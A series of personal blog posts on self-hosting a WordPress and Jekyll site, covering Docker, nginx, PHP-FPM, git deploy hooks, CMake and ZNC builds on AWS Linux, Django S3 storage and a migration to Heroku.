    volumes:
    -   ./data/db:/var/lib/mysql

PHP-FPM container:

I’m using a custom Dockerfile which comes from php:7.0-fpm and add sendmail support and mysql extension. There is a custom starter script which will run sendmail + php-fpm. (I know I should create a specific container for sendmail)

On this container I’m basically mapping some php files and config files:

./wordpress.matbra.com to /var/www/wordpress.matbra.com which are my wordpress files
./php7fpm/sendmail.mc to /usr/share/sendmail/cf/debian/sendmail.mc which is my configuration file for sendmail
./php7fpm/gmail-auth.db to /etc/mail/authinfo/gmail-auth.db which is the password for my gmail Configuring gmail as relay to sendmail

I’m also mapping the port 9000 to 9000, so I will communicate with PHP-FPM on this ports, creating a link to mariadb and naming my hostname.

NGINX container:

I’m using the regular nginx alpine with some maps:

./nginx/nginx.conf to /etc/nginx/nginx.conf which is my nginx configuration
./nginx/app.vhost to /etc/nginx/conf.d/default.conf which is my website configuration with Jekyll falling back to wordpress
./logs/nginx to /var/log/nginx which will be my log directory
./wordpress.matbra.com/ to /var/www/wordpress.matbra.com which is the place where nginx can find wordpress website
./jekyll.matbra.com/ to /var/www/jekyll.matbra.com which is the place where nginx can find jekyll website

I’m also mapping ports 80 to 80 and 443 to 443 and create a link to PHP-FPM so nginx can communicate with fpm container.

MARIADB container:

No mistery here, regular mariadb image, with a mapping for data and some environment variables.

Because I’m not adding my website files to the image, I have created a command init.sh to remove website directory and clone website from git. There is a command called update-config.sh to update wp-config.php file with the correct environment variables.

With this I can easily spin up a new machine with my website structure.

https://github.com/x-warrior/blog-docker

I hope this will be helpful for you. Matheus

Install ZNC IRC Bouncer on AWS Linux

2017-12-08T00:00:00-06:00

If you want to install ZNC IRC Bouncer you will need CMake, but AWS Linux CMake is too old. (Update your cmake to 3.x)[http://www.matbra.com/2017/12/07/install-cmake-on-aws-linux.html]

Now you will need git to clone the ZNC source code and openssl-devel to have ssl support

# yum install git openssl-devel

Clone ZNC source code

$ git clone https://github.com/znc/znc.git

Enter on the source code folder

$ cd znc

Initialize submodules

$ git submodule update --init --recursive

Install it with:

$ cmake . 
$ make
# make install (run this as root #)

Configure it with:

$ znc --makeconf

Best regards, Matheus

Install Cmake 3 on AWS Linux

2017-12-07T00:00:00-06:00

If you are trying to build something using CMake and is getting the error: “CMake 3.1 or higher is required. You are running version 2.8.12.2”

You can manually install this CMake version, to do this, I removed the previous CMake.

# yum remove cmake

Tested if it was really removed

$ cmake

-bash: /usr/bin/cmake: No such file or directory

Install G++

# yum install gcc-c++

Download latest version from: Cmake Download

$ wget https://cmake.org/files/v3.10/cmake-3.10.0.tar.gz

Extract it:

$ tar -xvzf cmake-3.10.0.tar.gz

Enter on cmake folder

$ cd cmake-3.10.0

Install it with:

# ./bootstrap
# make
# make install

Now you should have cmake under /usr/local/bin/cmake

Best regards, Matheus

Loopback model migration using postgresql database

2017-01-08T00:00:00-06:00

I have been playing with Loopback, initially I was just declaring models and use in memory, but now I got to a point where I need to have a persistent database.

I couldn’t find how to keep my database synced with my models easily. I’m not sure if I’m not that familiar with Loopback yet, or if their documentation is not clear enough.

To create a script to sync your models with your database you can create a file under bin/ called autoupdate.js and add the following:

var path = require('path');

var app = require(path.resolve(__dirname, '../server/server'));
var ds = app.datasources.db;
ds.autoupdate(function(err) {
  if (err) throw err;
  ds.disconnect();
});

The code is pretty simple, it will fetch the app from server.js, grab the datasource and run the autoupate command. You could use automigrate, but this one will clean the database every time, so pay attention on this.

I think this will work for most of datasources, but if it doesn’t work for yours, drop me a line. I can try to help :D

Matheus

PS: Loopback will not create migrations and do a proper job as Django, sometimes you can get to weird states, it seems Loopback works better with NoSQL databases.

Django Storages with Boto3 and additional Metadata only for Media

2016-12-29T00:00:00-06:00

I have a personal project which I’m using python with Django and django-storages to upload my static and media files to Amazon S3, because my media files have UUID and they’re not editable on my system I wanted to have a long expiration time on it, so I could save some bandwidth but I didn’t want this on the static files which are updated more regularly when I’m updating the system.

Most of resources refer to AWS_HEADERS but it didn’t work for me. It seems it is only for boto (not boto3) after looking into boto3 source code I discovered AWS_S3_OBJECT_PARAMETERS which works for boto3, but this is a system-wide setting, so I had to extend S3Boto3Storage.

So the code that solved my problem was:

class MediaRootS3Boto3Storage(S3Boto3Storage):
    location = 'media'
    object_parameters = {
        'CacheControl': 'max-age=604800'
    }

If you’re using boto (not boto3) and you want to have specific parameters only for Media classes you could use

class MediaRootS3Boto3Storage(S3BotoStorage):
    location = 'media'
    headers = {
        'CacheControl': 'max-age=604800'
    }

You also need to update your django-storages settings, pay attention to the class name, on boto 3 it is S3Boto3Storage on boto it doesn’t has the 3 after Boto.

DEFAULT_FILE_STORAGE = 'package.module.MediaRootS3Boto3Storage'

Very simple tip, but it took a while to find out how it works

Matheus

Nginx redirect on failure

2016-12-22T00:00:00-06:00

As a few of you probably noticed, recently I have decided to update my really old wordpress blog from PHP4~5 to a most recent one. Leaving a shared host and going to heroku, which later became Amazon EC2.

I had to decide if I would keep Wordpress, or change to a different technology as Jekyll? Or what? I have thought a lot about this and in the end I decided to use Jekyll to be honest, why? Because using something new will motivate me to study, play with something new and work more.

Have decided to work with Jekyll, I had to think about my domain, because I didn’t want to break my old wordpress blog, I want to keep it alive as a record and keep it for SEO points, but how to keep both living together on an awesome way?

I thought the ideal would be to have something that tries to access the new website and if it is not found it should redirect to the old wordpress website. But how to redirect to the old blog only when a page is not found and complying with the http status code (ie: redirecting with 301).

After some documentation reading on nginx I found you can try to proxy to a server and if it fails redirect to a new one, it seems the ideal solution for now.

I have a nginx configuration file with multiple servers, first I have a nginx wordpress configuration, this server just adds PHP-FPM to process PHP files basically with my own custom domain.

server {
   listen 80;
   server_name wordpress.matbra.com;

    location / {
        root   /var/www/wordpress/live;
        index  index.php index.html index.htm;
        try_files $uri $uri/ /index.php?$uri$args;
    }

    location ~ \.php$ {
        root /var/www/wordpress/live;
        fastcgi_pass   unix:/var/run/php-fpm/php-fpm.sock;
        fastcgi_index  index.php;
        fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        include        fastcgi_params;
    }
}

My second server is basically nginx serving static files for the new blog created with Jekyll:

server {
    listen	5000;

    location / {
        root   /var/www/jekyll/live/_site/;
        index  index.html index.htm;
    }
}

So the most important server is the nginx server which will redirect when my jekyll server doesn’t find the url being requested. This one is a little bit more, I’m creating a nginx proxy which intercept errors with proxy_intercept_errors on; and on error page redirect to my secondary server wordpress using error_page 404 = @wordpress;

If it is redirected to the wordpress page it will rewrite the url to the wordpress server.

server {
   listen 80;
   server_name www.matbra.com matbra.com;
   location / {
        proxy_intercept_errors on;
        error_page 404 = @wordpress;
        proxy_set_header Host $http_host;
        proxy_pass http://127.0.0.1:5000;
   }

   location @wordpress {
	rewrite ^/(.*) http://wordpress.matbra.com/$1 permanent;
   }
}

So my configuration file is a composition from all of this.

What do you guys think? Do you have any question?

Matheus

Build Jekyll as production after push

2016-12-12T00:00:00-06:00

If you want to build your Jekyll blog on your own server after a git push you can use git hooks. To do it, you can extend the Deploy after git push and add this tree lines (after rm -rf), to install dependencies and to build it as production environment.

	cd $LIVE_PATH
	bundle install
	JEKYLL_ENV=production jekyll build

Matheus

Force www on Jekyll website using Javascript

2016-12-11T00:00:00-06:00

I wanted to force using my jekyll website to have the “www” prefix and because my Jekyll doesn’t have a back-end I couldn’t do it on the server, so I needed to use Javascript or Meta tags. A few people says Google Search engine handles meta refresh as 301/302 so it would be better to go with this approach from a SEO perspective.

If you want to force www prefix on your website using javascript, you can use this snippet:

<script>
if (window.location.hostname.indexOf("www") != 0) {
	window.location = window.location.protocol + "//www." + window.location.hostname + window.location.pathname;
}
</script>

I have created a _include/force_www.html file and I’m using jekyll.environment to load it, so I’m only loading it on production.

Matheus

Set env var to PHP-FPM

2016-12-10T00:00:00-06:00

After installing nginx and php, I wanted to use environment vars inside PHP 7 so I don’t need to save configuration to my repo.

Usually when using environment vars the ideal is to set it without having it saved in a file but on this case it was easier to.

If you want to add environment variables to your PHP-FPM you can edit /etc/php-fpm.d/www.conf (I’m doing it on Amazon Linux and PHP 7.0)

There is a flag clear_env = no where you’re able to set if php-fpm will receive a clean environment or not. I decided to leave it as the default value and but setting my vars as

env[WP_SECURE_AUTH_KEY] = "some-value"
env[WP_NONCE_KEY] = "nonce-key"

After this I restarted my nginx and php-fpm.

sudo service nginx restart
sudo service php-fpm restart

Matheus

Deploy after push to your own git

2016-12-09T00:00:00-06:00

I have explained how to push your code to your own git server and after this you may want to execute some especific functions, in my specific case I wanted my code to be builded and to release a new version, so I used post-receive hook from my repo.

Oh, it also handle multiple versions keeping the last 3 versions of the release. To do this it uses your DEPLOY_PATH and create a new folder sources on it, which will have your versions and a live folder which is a symlink to the version which is running.

Vars:

REPO_PATH = Path to your git folder
DEPLOY_PATH = Path to your destiny folder
DEPLOY_BRANCH = Branch you want to deploy

#!/bin/bash
REPO_PATH=/home/someuser/test.git
DEPLOY_PATH=/var/www/
DEPLOY_BRANCH="master"

echo "REPO_PATH=$REPO_PATH"
echo "DEPLOY_PATH=$DEPLOY_PATH"

while read oldrev newrev refname
do
    branch=$(git rev-parse --symbolic --abbrev-ref $refname)
    if [ $DEPLOY_BRANCH == "$branch" ]; then
        TIMESTAMP=$(date +%Y%m%d%H%M%S)
        VERSION_PATH=$DEPLOY_PATH/sources/$TIMESTAMP
        LIVE_PATH=$DEPLOY_PATH/live
        echo "TIMESTAMP=$TIMESTAMP"
        echo "VERSION_PATH=$VERSION_PATH"
        echo "LIVE_PATH=$LIVE_PATH"

        mkdir -p $VERSION_PATH
        mkdir -p $VERSION_PATH/sources

        git --work-tree=$VERSION_PATH --git-dir=$REPO_PATH checkout -f $DEPLOY_BRANCH
        # Remove git files
        rm -rf $VERSION_PATH/.git
        rm -rf $LIVE_PATH
        ln -s $VERSION_PATH $LIVE_PATH


        # Delete old folder keeping the 3 most recent ones, which aren't the current live one, / (root, security measure, different from your source folder)
        rm -rf $(ls -1dt $(find -L $DEPLOY_PATH/sources/ -maxdepth 1 -type d ! -samefile / ! -samefile $DEPLOY_PATH/sources/ ! -samefile $LIVE_PATH -print) | tail -n+3)
    fi
done

If you have any question, let me know. Matheus

Pushing to your own remote git

2016-12-08T00:00:00-06:00

I’m creating a new server as you can notice and I would like to push directly to my git (hosted on my own server), so I could release a new version with a simple git push myserver branch.

If you want to achieve this as well you can connect to your remote ssh and execute

$ mkdir test.git
$ cd git
$ git --bare init

You will need to know the full path of your git folder to add to as a remote on your local, to check the full path run pwd. Back to your local machine add your remote server.

git remote add my_server ssh://user@ip:/replace/with/pwd/test.git

After this you can use git push my_server branch to push to it.

Matheus

Install Nginx, PHP on Amazon Linux

2016-12-07T00:00:00-06:00

I’m migrating my blog and a few other stuff I have running to Amazon infrastructure. I needed an Amazon EC2 instance with PHP support and able to connect to a MySQL.

Steps:

yum update
yum install nginx
yum install php70 php70-fpm php70-mysqlnd
Edit /etc/nginx/conf.d/virtual.conf

server {
    listen       3000;

    location / {
        root   /var/www/;
        index  index.php index.html index.htm;
    }

    location ~ \.php$ {
        root /var/www/;
        fastcgi_pass   unix:/var/run/php-fpm/php-fpm.sock;
        fastcgi_index  index.php;
        fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        include        fastcgi_params;
    }
}

Edit the following properties of: /etc/php-fpm-7.0.d/www.conf

user = nginx
group = nginx

listen = /var/run/php-fpm/php-fpm.sock

listen.owner = nginx
listen.group = nginx
listen.mode = 0660

Create a php file on /var/www/

<?php
phpinfo();
?>

Access http://SERVER_IP:3000

You will need your security group for your ec2 instance to have port 3000 opened.

If you want to add them to auto start:

sudo chkconfig nginx on
sudo chkconfig php-fpm on

If you want to restart this services:

sudo service nginx restart
sudo service php-fpm restart

Matheus

Migrate old Wordpress to Heroku, Amazon RDS and S3.

2016-12-03T00:00:00-06:00

After a few good years with my blog out of date, I decided to start to write again and to migrate it to Heroku since his server was with a really old stack. I decided to use Heroku, Amazon RDS as Database service and S3 as file storage (for uploaded files)

Steps:

Disable all Wordpress’ extensions
Do a full backup (Wordpress, Database, Uploads, etc)
Really, do a backup!
Create a git repository
Add Wordpress code to your git
1. If you want to update your Wordpress add latest Wordpress version
  1. Don’t add your private configs (wp-config.php)!
  2. Don’t add uploads folder
  3. Add your plugins
  4. Add your theme
2. If you want to keep your Wordpress version, add your current blog’s code
  1. Don’t add your private configs (wp-config.php)!
  2. Don’t add uploads folder
Atention with your private files!!
Update your wp-config
1. All your private configs must use getenv, this function will be responsible to fetch the values from env vars.

    <?php
    define('AUTH_KEY',         getenv('WP_AUTH_KEY'));
    define('SECURE_AUTH_KEY',  getenv('WP_SECURE_AUTH_KEY'));
    define('LOGGED_IN_KEY',    getenv('WP_LOGGED_IN_KEY'));
    define('NONCE_KEY',        getenv('WP_NONCE_KEY'));
    
    define('AUTH_SALT',        getenv('WP_AUTH_SALT'));
    define('SECURE_AUTH_SALT', getenv('WP_SECURE_AUTH_SALT'));
    define('LOGGED_IN_SALT',   getenv('WP_LOGGED_IN_SALT'));
    define('NONCE_SALT',       getenv('WP_NONCE_SALT'));
    
    define('S3_UPLOADS_BUCKET', getenv('AWS_S3_BUCKET'));
    define('S3_UPLOADS_KEY', getenv('AWS_S3_KEY'));
    define('S3_UPLOADS_SECRET', getenv('AWS_S3_SECRET'));
    define('S3_UPLOADS_REGION', getenv('AWS_S3_REGION'));

Create a composer.json file to define requirements and packages versions
1. Exemple composer.json

    {
      "require" : {
          "php": ">=7.0.0"
      },
      "require-dev": {
      }
    }

Execute composer update to generate the composer.lock file

Update your .htaccess file to redirect your uploads to your S3 bucket

Update the url (at the 5th line) on the .htaccess to match your S3 and Bucket

<IfModule mod_rewrite.c>
 RewriteEngine On
 RewriteBase /
 RewriteRule ^index\.php$ - [L]
 RewriteRule ^wp-content/uploads/(.*)$ https://s3-us-west-2.amazonaws.com/BUCKET/uploads/$1 [R=301,L]
 RewriteCond %{REQUEST_FILENAME} !-f
 RewriteCond %{REQUEST_FILENAME} !-d
 RewriteRule . /index.php [L]
 </IfModule>    

Do a commit with all this files (don’t add your secrets/keys to your git)
Amazon setup
1. Create a RDS Database
2. Import your backup into it
3. Send your S3 files to S3
  1. Remember to import/change the permissions of your s3 files so guest users can access your uploaded files
Heroku setup
1. Add your environment vars on heroku with the correct values and names which you used on wp-config.php, remember to use the RDS ones for database.
2. Update your DNS for Heroku
3. Send your code to Heroku using the repository you have created
Access your website

If you’re updating your Wordpress, there are chances to something go wrong or to some plugin to stop working with the new Wordpress version, so don’t forget to check and update them.

Also, if you have any other question or need more information a specific test, let me know. I can try to help.

Matheus